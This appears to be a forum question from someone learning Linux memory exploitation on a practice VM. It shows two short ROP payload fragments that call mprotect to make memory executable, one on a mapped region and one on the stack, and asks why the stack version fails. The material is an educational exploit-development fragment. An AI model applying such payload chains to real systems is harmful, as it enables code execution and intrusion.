I'm taking my first steps in memory exploitation in Linux. I'm following a tutorial for a practice VM(
$ uname -r -> 3.13.0-32-generic)
The tutorial makes a call to
mprotect to set a certain region of memory executable, then uses
read to manually input some shellcode.
I occurred to me that perhaps I could load my shellcode on the stack using the buffer and use
mprotect to set the buffer region on the stack as executable and return to it. But that throws an error for reasons I'm not sure of.
In short, this call to
# mprotect: set memory executable payload += p(0x080523e0) # mprotect addr payload += p(0x08048882) # return to: pop, pop, pop, retn payload += p(0xb7ffd000) # arg1: address of 'mapped' region payload += p(0x2000) # arg2: length payload += p(0x7) # arg3: rwx
But this call fails:
# mprotect: set memory executable payload += p(0x080523e0) # mprotect addr payload += p(0xbffff6c0) # return to shellcode in buffer on stack payload += p(0xbffff6c0) # arg1: beginning of shellcode on stack payload += p(0x2000) # arg2: length payload += p(0x7) # arg3: rwx
mprotect in that second example shows me that it takes an error jump:
=> 0x80523fa <mprotect+26>: jae 0x8053870 <__syscall_error>
As the only difference between the two is the address I want to set executable, I'm wondering if it's simply that
mprotect can't set the stack as executable?